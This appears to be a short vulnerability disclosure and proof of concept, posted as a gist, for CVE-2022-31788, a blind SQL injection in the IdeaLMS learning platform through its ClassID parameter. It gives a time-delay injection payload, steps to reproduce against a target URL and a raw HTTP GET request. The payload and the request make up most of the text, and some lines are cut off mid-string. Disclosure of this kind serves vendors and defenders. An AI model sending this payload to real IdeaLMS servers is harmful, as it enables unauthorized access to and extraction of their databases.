RNPG / Boolean-Based Blind SQL Injection Vulnerability PoC #1 - IdeaLMS.txt

Secret

Last active 6 months ago

Boolean-Based Blind SQL Injection Vulnerability PoC #1 - IdeaLMS.txt

```
Vulnerability Type: SQL Injection Vulnerability (Boolean-Based Blind)
Vendor of Product: Ideaco.ir
Affected Product Code Base: IdeaLMS
Product Version: 2022
Description: IdeaLMS allows SQL Injection via the ClassID parameter
Attack Vectors: Attacker should inject malicious payload into ClassID parameter
Attack Type: Remote
Payload: -1%20waitfor%20delay'0%3a0%3a20'--
Assigned CVE-ID: CVE-2022-31788
Discoverer: Mohammad Reza Ismaeli Taba, Raspina Net Pars Group (RNPG Ltd.)

Steps To Reproduce
1. Browse the following page: https://<target.xyz>/IdeaLMS/ChatRoom/ClassAccessControl/6?isBigBlue
2. Insert the malicious query as the value in ClassID parameter
Example:  https://<target.xyz>/IdeaLMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=-1%

#PoC

GET /IdeaLMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=-1%20waitfor%20delay'0%3a0%3a
Host: <address in which IdeaLMS is set up>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```